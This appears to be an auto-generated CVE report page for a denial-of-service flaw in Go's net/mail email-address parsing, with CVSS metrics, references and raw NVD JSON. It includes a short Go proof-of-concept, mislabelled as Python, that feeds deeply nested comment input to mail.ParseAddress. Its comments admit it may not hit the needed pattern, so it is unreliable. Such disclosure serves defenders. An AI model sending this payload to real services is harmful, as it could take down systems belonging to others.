Security Vulnerability Report
中文
CVE-2026-42499 CVSS 7.5 HIGH

CVE-2026-42499

Published: 2026-05-07 20:16:45
Last Modified: 2026-05-08 22:16:33

Description

Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Go标准库 (受影响版本请参考GO-2026-4977)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "net/mail" "strings" ) func main() { // PoC for CVE-2026-42499 // Demonstrates parsing a potentially pathological email address. // A specific pattern (e.g., excessive nesting or repetition) is required to trigger the DoS. // Example payload: deeply nested comments or long repetitive phrases maliciousPayload := strings.Repeat("(very", 5000) + "test" + strings.Repeat(")", 5000) + "@example.com" fmt.Println("Attempting to parse malicious email address...") _, err := mail.ParseAddress(maliciousPayload) if err != nil { fmt.Printf("Parse error: %v\n", err) } else { fmt.Println("Parse successful (unexpected)") } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42499", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:44.540", "lastModified": "2026-05-08T22:16:33.183", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://go.dev/cl/771520", "source": "[email protected]"}, {"url": "https://go.dev/issue/78987", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4977", "source": "[email protected]"}]}}